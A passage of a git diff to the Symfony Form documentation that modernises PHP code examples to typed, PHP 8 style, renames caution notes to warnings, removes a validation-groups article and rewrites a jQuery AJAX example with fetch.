<twig:form-theme>form/custom_types.html.twig</twig:form-theme> </twig:config> </container> .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ - 'form/custom_types.html.twig', + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes([ '...', - ], - ]); + 'form/custom_types.html.twig', + ]); + }; The last step is to create the actual Twig template that will render the type. The template contents depend on which HTML, CSS and JavaScript frameworks and @@ -426,14 +431,25 @@ second part of the Twig block name (e.g. ``_row``) defines which form type part is being rendered (row, widget, help, errors, etc.) The article about form themes explains the -:ref:`form fragment naming rules <form-fragment-naming>` in detail. The -following diagram shows some of the Twig block names defined in this example: +:ref:`form fragment naming rules <form-fragment-naming>` in detail. These +are some examples of Twig block names for the postal address type: .. raw:: html - <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"></object> + <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml" + alt="The wireframe with some block names highlighted, these are also listed below the image." + ></object> + +``postal_address_row`` + The full form type block. +``postal_address_addressLine1_help`` + The help message block below the first address line. +``postal_address_state_widget`` + The text input widget for the State field. +``postal_address_zipCode_label`` + The label block of the ZIP Code field. -.. caution:: +.. warning:: When the name of your form class matches any of the built-in field types, your form might not be rendered correctly. A form type named @@ -449,25 +465,24 @@ Symfony passes a series of variables to the template used to render the form type. You can also pass your own variables, which can be based on the options defined by the form or be completely independent:: - // src/Form/Type/PostalAddressType.php namespace App\Form\Type; use Doctrine\ORM\EntityManagerInterface; + use Symfony\Component\Form\FormInterface; + use Symfony\Component\Form\FormView; // ... class PostalAddressType extends AbstractType { - private $entityManager; - - public function __construct(EntityManagerInterface $entityManager) - { - $this->entityManager = $entityManager; + public function __construct( + private EntityManagerInterface $entityManager, + ) { } // ... - public function buildView(FormView $view, FormInterface $form, array $options) + public function buildView(FormView $view, FormInterface $form, array $options): void { // pass the form type option directly to the template $view->vars['isExtendedAddress'] = $options['is_extended_address']; diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst index 59b1c06e9fe..7f40b9decc9 100644 --- a/form/create_form_type_extension.rst +++ b/form/create_form_type_extension.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Form type extension - How to Create a Form Type Extension =================================== @@ -35,11 +32,11 @@ First, create the form type extension class extending from class ImageTypeExtension extends AbstractTypeExtension { /** - * Return the class of the type being extended. + * Returns an array of extended types. */ public static function getExtendedTypes(): iterable { - // return FormType::class to modify (nearly) every field in the system + // return [FormType::class] to modify (nearly) every field in the system return [FileType::class]; } } @@ -110,11 +107,11 @@ the database:: /** * @var string The path - typically stored in the database */ - private $path; + private string $path; // ... - public function getWebPath() + public function getWebPath(): string { // ... $webPath being the full image URL, to be used in templates @@ -145,17 +142,17 @@ For example:: { public static function getExtendedTypes(): iterable { - // return FormType::class to modify (nearly) every field in the system + // return [FormType::class] to modify (nearly) every field in the system return [FileType::class]; } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // makes it legal for FileType fields to have an image_property option $resolver->setDefined(['image_property']); } - public function buildView(FormView $view, FormInterface $form, array $options) + public function buildView(FormView $view, FormInterface $form, array $options): void { if (isset($options['image_property'])) { // this will be whatever class/entity is bound to your form (e.g. Media) @@ -191,14 +188,10 @@ Specifically, you need to override the ``file_widget`` block: {% extends 'form_div_layout.html.twig' %} {% block file_widget %} - {% spaceless %} - {{ block('form_widget') }} - {% if image_url is not null %} + {% if image_url is defined and image_url is not null %} <img src="{{ asset(image_url) }}"/> {% endif %} - - {% endspaceless %} {% endblock %} Be sure to :ref:`configure this form theme template <forms-theming-global>` so that @@ -221,7 +214,7 @@ next to the file field. For example:: class MediaType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('name', TextType::class) diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst deleted file mode 100644 index 383883ba91f..00000000000 --- a/form/data_based_validation.rst +++ /dev/null @@ -1,75 +0,0 @@ -.. index:: - single: Forms; Validation groups based on submitted data - -How to Choose Validation Groups Based on the Submitted Data -=========================================================== - -If you need some advanced logic to determine the validation groups (e.g. -based on submitted data), you can set the ``validation_groups`` option -to an array callback:: - - use App\Entity\Client; - use Symfony\Component\OptionsResolver\OptionsResolver; - - // ... - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => [ - Client::class, - 'determineValidationGroups', - ], - ]); - } - -This will call the static method ``determineValidationGroups()`` on the -``Client`` class after the form is submitted, but before validation is -invoked. The Form object is passed as an argument to that method (see next -example). You can also define whole logic inline by using a ``Closure``:: - - use App\Entity\Client; - use Symfony\Component\Form\FormInterface; - use Symfony\Component\OptionsResolver\OptionsResolver; - - // ... - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => function (FormInterface $form) { - $data = $form->getData(); - - if (Client::TYPE_PERSON == $data->getType()) { - return ['person']; - } - - return ['company']; - }, - ]); - } - -Using the ``validation_groups`` option overrides the default validation -group which is being used. If you want to validate the default constraints -of the entity as well you have to adjust the option as follows:: - - use App\Entity\Client; - use Symfony\Component\Form\FormInterface; - use Symfony\Component\OptionsResolver\OptionsResolver; - - // ... - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => function (FormInterface $form) { - $data = $form->getData(); - - if (Client::TYPE_PERSON == $data->getType()) { - return ['Default', 'person']; - } - - return ['Default', 'company']; - }, - ]); - } - -You can find more information about how the validation groups and the default constraints -work in the article about :doc:`validation groups </validation/groups>`. diff --git a/form/data_mappers.rst b/form/data_mappers.rst index 24a0f41d39e..38c92ce35ae 100644 --- a/form/data_mappers.rst +++ b/form/data_mappers.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Data mappers - When and How to Use Data Mappers ================================ @@ -19,13 +16,11 @@ The Difference between Data Transformers and Mappers It is important to know the difference between :doc:`data transformers </form/data_transformers>` and mappers. -* **Data transformers** change the representation of a value (e.g. from - ``"2016-08-12"`` to a ``DateTime`` instance); -* **Data mappers** map data (e.g. an object or array) to form fields, and vice versa. - -Changing a ``YYYY-mm-dd`` string value to a ``DateTime`` instance is done by a -data transformer. Populating inner fields (e.g year, hour, etc) of a compound date type using -a ``DateTime`` instance is done by the data mapper. +* **Data transformers** change the representation of a single value, e.g. from + ``"2016-08-12"`` to a ``DateTime`` instance; +* **Data mappers** map data (e.g. an object or array) to one or many form fields, and vice versa, + e.g. using a single ``DateTime`` instance to populate the inner fields (e.g year, hour, etc.) + of a compound date type. Creating a Data Mapper ---------------------- @@ -38,15 +33,11 @@ using an immutable color object:: final class Color { - private $red; - private $green; - private $blue; - - public function __construct(int $red, int $green, int $blue) - { - $this->red = $red; - $this->green = $green; - $this->blue = $blue; + public function __construct( + private int $red, + private int $green, + private int $blue, + ) { } public function getRed(): int @@ -98,7 +89,7 @@ in your form type:: /** * @param Color|null $viewData */ - public function mapDataToForms($viewData, $forms) + public function mapDataToForms($viewData, \Traversable $forms): void { // there is no data yet, so nothing to prepopulate if (null === $viewData) { @@ -119,7 +110,7 @@ in your form type:: $forms['blue']->setData($viewData->getBlue()); } - public function mapFormsToData($forms, &$viewData) + public function mapFormsToData(\Traversable $forms, &$viewData): void { /** @var FormInterface[] $forms */ $forms = iterator_to_array($forms); @@ -135,7 +126,7 @@ in your form type:: } } -.. caution:: +.. warning:: The data passed to the mapper is *not yet validated*. This means that your objects should allow being created in an invalid state in order to produce @@ -158,7 +149,7 @@ method:: final class ColorType extends AbstractType implements DataMapperInterface { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('red', IntegerType::class, [ @@ -177,7 +168,7 @@ method:: ; } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // when creating a new color, the initial data should be null $resolver->setDefault('empty_data', null); @@ -198,7 +189,7 @@ fields and only one of them needs to be mapped in some special way or you only need to change how it's written into the underlying object. In that case, register a PHP callable that is able to write or read to/from that specific object:: - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -224,11 +215,7 @@ If available, these options have priority over the property path accessor and the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>` for the other form fields. -.. versionadded:: 5.2 - - The ``getter`` and ``setter`` options were introduced in Symfony 5.2. - -.. caution:: +.. warning:: When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and lets its parent map inner values. diff --git a/form/data_transformers.rst b/form/data_transformers.rst index 91ed89a3fce..db051a04bbc 100644 --- a/form/data_transformers.rst +++ b/form/data_transformers.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Data transformers - How to Use Data Transformers ============================ @@ -8,10 +5,10 @@ Data transformers are used to translate the data for a field into a format that be displayed in a form (and back on submit). They're already used internally for many field types. For example, the :doc:`DateType </reference/forms/types/date>` field can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer -converts the starting ``DateTime`` value of the field into the ``yyyy-MM-dd`` string -to render the form, and then back into a ``DateTime`` object on submit. +converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string +when rendering the form, and then back to a ``DateTime`` object on submit. -.. caution:: +.. warning:: When a form field has the ``inherit_data`` option set to ``true``, data transformers are not applied to that field. @@ -40,12 +37,12 @@ Suppose you have a Task form with a tags ``text`` type:: // ... class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('tags', TextType::class); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Task::class, @@ -72,17 +69,17 @@ class:: class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('tags', TextType::class); $builder->get('tags') ->addModelTransformer(new CallbackTransformer( - function ($tagsAsArray) { + function ($tagsAsArray): string { // transform the array to a string return implode(', ', $tagsAsArray); }, - function ($tagsAsString) { + function ($tagsAsString): array { // transform the string back to an array return explode(', ', $tagsAsString); } @@ -112,7 +109,7 @@ slightly:: $builder->add( $builder ->create('tags', TextType::class) - ->addModelTransformer(...) + ->addModelTransformer(/* ... */) ); Example #2: Transforming an Issue Number into an Issue Entity @@ -136,7 +133,7 @@ Start by setting up the text field like normal:: // ... class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('description', TextareaType::class) @@ -144,7 +141,7 @@ Start by setting up the text field like normal:: ; } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Task::class, @@ -177,20 +174,17 @@ to and from the issue number and the ``Issue`` object:: class IssueToNumberTransformer implements DataTransformerInterface { - private $entityManager; - - public function __construct(EntityManagerInterface $entityManager) - { - $this->entityManager = $entityManager; + public function __construct( + private EntityManagerInterface $entityManager, + ) { } /** * Transforms an object (issue) to a string (number). * * @param Issue|null $issue - * @return string */ - public function transform($issue) + public function transform($issue): string { if (null === $issue) { return ''; @@ -203,14 +197,13 @@ to and from the issue number and the ``Issue`` object:: * Transforms a string (number) to an object (issue). * * @param string $issueNumber - * @return Issue|null * @throws TransformationFailedException if object (issue) is not found. */ - public function reverseTransform($issueNumber) + public function reverseTransform($issueNumber): ?Issue { // no issue number? It's optional, so that's ok if (!$issueNumber) { - return; + return null; } $issue = $this->entityManager @@ -266,14 +259,12 @@ and type-hint the new class:: // ... class TaskType extends AbstractType { - private $transformer; - - public function __construct(IssueToNumberTransformer $transformer) - { - $this->transformer = $transformer; + public function __construct( + private IssueToNumberTransformer $transformer, + ) { } - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('description', TextareaType::class) @@ -306,7 +297,7 @@ end-user error message in the data transformer using the { // ... - public function reverseTransform($issueNumber) + public function reverseTransform($issueNumber): ?Issue { // ... @@ -349,7 +340,7 @@ that, after a successful submission, the Form component will pass a real If the issue isn't found, a form error will be created for that field and its error message can be controlled with the ``invalid_message`` field option. -.. caution:: +.. warning:: Be careful when adding your transformers. For example, the following is **wrong**, as the transformer would be applied to the entire form, instead of just this @@ -383,26 +374,24 @@ First, create the custom field type class:: class IssueSelectorType extends AbstractType { - private $transformer; - - public function __construct(IssueToNumberTransformer $transformer) - { - $this->transformer = $transformer; + public function __construct( + private IssueToNumberTransformer $transformer, + ) { } - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->addModelTransformer($this->transformer); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'invalid_message' => 'The selected issue does not exist', ]); } - public function getParent() + public function getParent(): string { return TextType::class; } @@ -423,7 +412,7 @@ As long as you're using :ref:`autowire <services-autowire>` and class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('description', TextareaType::class) @@ -448,8 +437,11 @@ In the above example, the transformer was used as a "model" transformer. In fact, there are two different types of transformers and three different types of underlying data. -.. image:: /_images/form/data-transformer-types.png - :align: center +.. raw:: html + + <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml" + alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram." + ></object> In any form, the three different types of data are: @@ -480,6 +472,20 @@ Which transformer you need depends on your situation. To use the view transformer, call ``addViewTransformer()``. +.. warning:: + + Be careful with model transformers and + :doc:`Collection </reference/forms/types/collection>` field types. + Collection's children are created early at ``PRE_SET_DATA`` by its + ``ResizeFormListener`` and their data is populated later from the normalized + data. So your model transformer cannot reduce the number of items within the + Collection (i.e. filtering out some items), as in that case the collection + ends up with some empty children. + + A possible workaround for that limitation could be not using the underlying + object directly, but a DTO (Data Transfer Object) instead, that implements + the transformation of such incompatible data structures. + So why Use the Model Transformer? --------------------------------- diff --git a/form/direct_submit.rst b/form/direct_submit.rst index ef6897611ad..7a08fb6978a 100644 --- a/form/direct_submit.rst +++ b/form/direct_submit.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Form::submit() - How to Use the submit() Function to Handle Form Submissions =========================================================== @@ -11,15 +8,16 @@ to detect when the form has been submitted. However, you can also use the control over when exactly your form is submitted and what data is passed to it:: use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; // ... - public function new(Request $request) + public function new(Request $request): Response { $task = new Task(); $form = $this->createForm(TaskType::class, $task); if ($request->isMethod('POST')) { - $form->submit($request->request->get($form->getName())); + $form->submit($request->getPayload()->get($form->getName())); if ($form->isSubmitted() && $form->isValid()) { // perform some action... @@ -29,10 +27,28 @@ control over when exactly your form is submitted and what data is passed to it:: } return $this->render('task/new.html.twig', [ - 'form' => $form->createView(), + 'form' => $form, ]); } +The list of fields submitted with the ``submit()`` method must be the same as +the fields defined by the form class. Otherwise, you'll see a form validation error:: + + public function new(Request $request): Response + { + // ... + + if ($request->isMethod('POST')) { + // '$json' represents payload data sent by React/Angular/Vue + // the merge of parameters is needed to submit all form fields + $form->submit(array_merge($json, $request->getPayload()->all())); + + // ... + } + + // ... + } + .. tip:: Forms consisting of nested fields expect an array in @@ -49,7 +65,7 @@ control over when exactly your form is submitted and what data is passed to it:: argument to ``submit()``. Passing ``false`` will remove any missing fields within the form object. Otherwise, the missing fields will be set to ``null``. -.. caution:: +.. warning:: When the second parameter ``$clearMissing`` is ``false``, like with the "PATCH" method, the validation will only apply to the submitted fields. If @@ -57,4 +73,4 @@ control over when exactly your form is submitted and what data is passed to it:: manually so that they are validated:: // 'email' and 'username' are added manually to force their validation - $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false); + $form->submit(array_merge(['email' => null, 'username' => null], $request->getPayload()->all()), false); diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst index f23cc73dbbf..4bd6c5a4839 100644 --- a/form/disabling_validation.rst +++ b/form/disabling_validation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Disabling validation - How to Disable the Validation of Submitted Data =============================================== @@ -9,7 +6,7 @@ these cases you can set the ``validation_groups`` option to ``false``:: use Symfony\Component\OptionsResolver\OptionsResolver; - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'validation_groups' => false, diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst index 69339480248..a1f32c7c16c 100644 --- a/form/dynamic_form_modification.rst +++ b/form/dynamic_form_modification.rst @@ -1,24 +1,21 @@ -.. index:: - single: Form; Events - How to Dynamically Modify Forms Using Form Events ================================================= -Often times, a form can't be created statically. In this article, you'll learn +Oftentimes, a form can't be created statically. In this article, you'll learn how to customize your form based on three common use-cases: -1) :ref:`form-events-underlying-data` +1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>` Example: you have a "Product" form and need to modify/add/remove a field based on the data on the underlying Product being edited. -2) :ref:`form-events-user-data` +2) :ref:`How to Dynamically Generate Forms Based on User Data <form-events-user-data>` Example: you create a "Friend Message" form and need to build a drop-down that contains only users that are friends with the *current* authenticated user. -3) :ref:`form-events-submitted-data` +3) :ref:`Dynamic Generation for Submitted Forms <form-events-submitted-data>` Example: on a registration form, you have a "country" field and a "state" field which should populate dynamically based on the value in the "country" @@ -45,13 +42,13 @@ a bare form class looks like:: class ProductType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('name'); $builder->add('price'); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Product::class, @@ -92,11 +89,11 @@ creating that particular field is delegated to an event listener:: class ProductType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('price'); - $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) { + $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void { // ... adding the name field if needed }); } @@ -109,10 +106,10 @@ object is new (e.g. hasn't been persisted to the database). Based on that, the event listener might look like the following:: // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... - $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) { + $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void { $product = $event->getData(); $form = $event->getForm(); @@ -141,8 +138,8 @@ For better reusability or if there is some heavy logic in your event listener, you can also move the logic for creating the ``name`` field to an :ref:`event subscriber <event_dispatcher-using-event-subscribers>`:: - // src/Form/EventListener/AddNameFieldSubscriber.php - namespace App\Form\EventListener; + // src/Form/EventSubscriber/AddNameFieldSubscriber.php + namespace App\Form\EventSubscriber; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Form\Extension\Core\Type\TextType; @@ -151,14 +148,14 @@ you can also move the logic for creating the ``name`` field to an class AddNameFieldSubscriber implements EventSubscriberInterface { - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { // Tells the dispatcher that you want to listen on the form.pre_set_data // event and that the preSetData method should be called. return [FormEvents::PRE_SET_DATA => 'preSetData']; } - public function preSetData(FormEvent $event) + public function preSetData(FormEvent $event): void { $product = $event->getData(); $form = $event->getForm(); @@ -175,11 +172,11 @@ Great! Now use that in your form class:: namespace App\Form\Type; // ... - use App\Form\EventListener\AddNameFieldSubscriber; + use App\Form\EventSubscriber\AddNameFieldSubscriber; class ProductType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('price'); @@ -191,7 +188,7 @@ Great! Now use that in your form class:: .. _form-events-user-data: -How to dynamically Generate Forms Based on user Data +How to Dynamically Generate Forms Based on User Data ---------------------------------------------------- Sometimes you want a form to be generated dynamically based not only on data @@ -217,32 +214,30 @@ Using an event listener, your form might look like this:: class FriendMessageFormType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('subject', TextType::class) ->add('body', TextareaType::class) ; - $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) { + $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void { // ... add a choice list of friends of the current application user }); } } The problem is now to get the current user and create a choice field that -contains only this user's friends. This can be done injecting the ``Security`` +contains only this user's friends. This can be done by injecting the ``Security`` service into the form type so you can get the current user object:: - use Symfony\Component\Security\Core\Security; + use Symfony\Bundle\SecurityBundle\Security; // ... class FriendMessageFormType extends AbstractType { - private $security; - - public function __construct(Security $security) - { - $this->security = $security; + public function __construct( + private Security $security, + ) { } // .... @@ -260,21 +255,19 @@ security helper to fill in the listener logic:: use App\Entity\User; use Doctrine\ORM\EntityRepository; use Symfony\Bridge\Doctrine\Form\Type\EntityType; + use Symfony\Bundle\SecurityBundle\Security; use Symfony\Component\Form\Extension\Core\Type\TextareaType; use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Security\Core\Security; // ... class FriendMessageFormType extends AbstractType { - private $security; - - public function __construct(Security $security) - { - $this->security = $security; + public function __construct( + private Security $security, + ) { } - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('subject', TextType::class) @@ -289,7 +282,7 @@ security helper to fill in the listener logic:: ); } - $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user) { + $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user): void { if (null !== $event->getData()->getFriend()) { // we don't need to add the friend field because // the message will be addressed to a fixed friend @@ -301,7 +294,7 @@ security helper to fill in the listener logic:: $formOptions = [ 'class' => User::class, 'choice_label' => 'fullName', - 'query_builder' => function (UserRepository $userRepository) use ($user) { + 'query_builder' => function (UserRepository $userRepository) use ($user): void { // call a method on your repository that returns the query builder // return $userRepository->createFriendsQueryBuilder($user); }, @@ -337,10 +330,12 @@ and :doc:`tag it </service_container/tags>` with the ``form.type`` tag. In a controller, create the form like normal:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class FriendMessageController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $form = $this->createForm(FriendMessageFormType::class); @@ -351,7 +346,7 @@ In a controller, create the form like normal:: You can also embed the form type into another form:: // inside some other "form type" class - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('message', FriendMessageFormType::class); } @@ -375,6 +370,8 @@ sport like this:: // src/Form/Type/SportMeetupType.php namespace App\Form\Type; + use App\Entity\Position; + use App\Entity\Sport; use Symfony\Bridge\Doctrine\Form\Type\EntityType; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; @@ -384,18 +381,18 @@ sport like this:: class SportMeetupType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('sport', EntityType::class, [ - 'class' => 'App\Entity\Sport', + 'class' => Sport::class, 'placeholder' => '', ]) ; $builder->addEventListener( FormEvents::PRE_SET_DATA, - function (FormEvent $event) { + function (FormEvent $event): void { $form = $event->getForm(); // this would be your entity, i.e. SportMeetup @@ -405,7 +402,7 @@ sport like this:: $positions = null === $sport ? [] : $sport->getAvailablePositions(); $form->add('position', EntityType::class, [ - 'class' => 'App\Entity\Position', + 'class' => Position::class, 'placeholder' => '', 'choices' => $positions, ]); @@ -441,6 +438,7 @@ The type would now look like:: // src/Form/Type/SportMeetupType.php namespace App\Form\Type; + use App\Entity\Position; use App\Entity\Sport; use Symfony\Bridge\Doctrine\Form\Type\EntityType; use Symfony\Component\Form\FormInterface; @@ -448,20 +446,20 @@ The type would now look like:: class SportMeetupType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('sport', EntityType::class, [ - 'class' => 'App\Entity\Sport', + 'class' => Sport::class, 'placeholder' => '', ]) ; - $formModifier = function (FormInterface $form, Sport $sport = null) { + $formModifier = function (FormInterface $form, ?Sport $sport = null): void { $positions = null === $sport ? [] : $sport->getAvailablePositions(); $form->add('position', EntityType::class, [ - 'class' => 'App\Entity\Position', + 'class' => Position::class, 'placeholder' => '', 'choices' => $positions, ]); @@ -469,7 +467,7 @@ The type would now look like:: $builder->addEventListener( FormEvents::PRE_SET_DATA, - function (FormEvent $event) use ($formModifier) { + function (FormEvent $event) use ($formModifier): void { // this would be your entity, i.e. SportMeetup $data = $event->getData(); @@ -479,16 +477,20 @@ The type would now look like:: $builder->get('sport')->addEventListener( FormEvents::POST_SUBMIT, - function (FormEvent $event) use ($formModifier) { + function (FormEvent $event) use ($formModifier): void { // It's important here to fetch $event->getForm()->getData(), as // $event->getData() will get you the client data (that is, the ID) $sport = $event->getForm()->getData(); // since we've added the listener to the child, we'll have to pass on - // the parent to the callback functions! + // the parent to the callback function! $formModifier($event->getForm()->getParent(), $sport); } ); + + // by default, action does not appear in the <form> tag + // you can set this value by passing the controller route + $builder->setAction($options['action']); } // ... @@ -501,11 +503,11 @@ exactly the same things on a given form. .. tip:: - The ``FormEvents::POST_SUBMIT`` event does not allow to modify the form - the listener is bound to, but it allows to modify its parent. + The ``FormEvents::POST_SUBMIT`` event does not allow modifications to the form + the listener is bound to, but it allows modifications to its parent. One piece that is still missing is the client-side updating of your form after -the sport is selected. This should be handled by making an AJAX call back to +the sport is selected. This should be handled by making an AJAX callback to your application. Assume that you have a sport meetup creation controller:: // src/Controller/MeetupController.php @@ -515,23 +517,24 @@ your application. Assume that you have a sport meetup creation controller:: use App\Form\Type\SportMeetupType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; // ... class MeetupController extends AbstractController { - public function create(Request $request) + #[Route('/create', name: 'app_meetup_create', methods: ['GET', 'POST'])] + public function create(Request $request): Response { $meetup = new SportMeetup(); - $form = $this->createForm(SportMeetupType::class, $meetup); + $form = $this->createForm(SportMeetupType::class, $meetup, ['action' => $this->generateUrl('app_meetup_create')]); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { // ... save the meetup, redirect etc. } - return $this->render( - 'meetup/create.html.twig', - ['form' => $form->createView()] - ); + return $this->render('meetup/create.html.twig', [ + 'form' => $form, + ]); } // ... @@ -543,36 +546,49 @@ field according to the current selection in the ``sport`` field: .. code-block:: html+twig {# templates/meetup/create.html.twig #} - {{ form_start(form) }} + {{ form_start(form, { attr: { id: 'sport_meetup_form' } }) }} {{ form_row(form.sport) }} {# <select id="meetup_sport" ... #} {{ form_row(form.position) }} {# <select id="meetup_position" ... #} {# ... #} {{ form_end(form) }} <script> - var $sport = $('#meetup_sport'); - // When sport gets selected ... - $sport.change(function() { - // ... retrieve the corresponding form. - var $form = $(this).closest('form'); - // Simulate form data, but only include the selected sport value. - var data = {}; - data[$sport.attr('name')] = $sport.val(); - // Submit data via AJAX to the form's action path. - $.ajax({ - url : $form.attr('action'), - type: $form.attr('method'), - data : data, - success: function(html) { - // Replace current position field ... - $('#meetup_position').replaceWith( - // ... with the returned one from the AJAX response. - $(html).find('#meetup_position') - ); - // Position field now displays the appropriate positions. - } - }); - }); + const form = document.getElementById('sport_meetup_form'); + const form_select_sport = document.getElementById('meetup_sport'); + const form_select_position = document.getElementById('meetup_position'); + + const updateForm = async (data, url, method) => { + const req = await fetch(url, { + method: method, + body: data, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'charset': 'utf-8' + } + }); + + const text = await req.text(); + + return text; + }; + + const parseTextToHtml = (text) => { + const parser = new DOMParser(); + const html = parser.parseFromString(text, 'text/html'); + + return html; + }; + + const changeOptions = async (e) => { + const requestBody = e.target.getAttribute('name') + '=' + e.target.value; + const updateFormResponse = await updateForm(requestBody, form.getAttribute('action'), form.getAttribute('method')); + const html = parseTextToHtml(updateFormResponse); + + const new_form_select_position = html.getElementById('meetup_position'); + form_select_position.innerHTML = new_form_select_position.innerHTML; + }; + + form_select_sport.addEventListener('change', (e) => changeOptions(e)); </script> The major benefit of submitting the whole form to just extract the updated diff --git a/form/embedded.rst b/form/embedded.rst index 9da8104b143..9e20164c3a4 100644 --- a/form/embedded.rst +++ b/form/embedded.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Embedded forms - How to Embed Forms ================== @@ -15,7 +12,7 @@ Embedding a Single Object ------------------------- Suppose that each ``Task`` belongs to a ``Category`` object. Start by -creating the ``Category`` object:: +creating the ``Category`` class:: // src/Entity/Category.php namespace App\Entity; @@ -24,10 +21,8 @@ creating the ``Category`` object:: class Category { - /** - * @Assert\NotBlank - */ - public $name; + #[Assert\NotBlank] + public string $name; } Next, add a new ``category`` property to the ``Task`` class:: @@ -38,20 +33,18 @@ Next, add a new ``category`` property to the ``Task`` class:: { // ... - /** - * @Assert\Type(type="App\Entity\Category") - * @Assert\Valid - */ - protected $category; + #[Assert\Type(type: Category::class)] + #[Assert\Valid] + protected ?Category $category = null; // ... - public function getCategory() + public function getCategory(): ?Category { return $this->category; } - public function setCategory(Category $category = null) + public function setCategory(?Category $category): void { $this->category = $category; } @@ -76,12 +69,12 @@ create a form class so that a ``Category`` object can be modified by the user:: class CategoryType extends AbstractType { 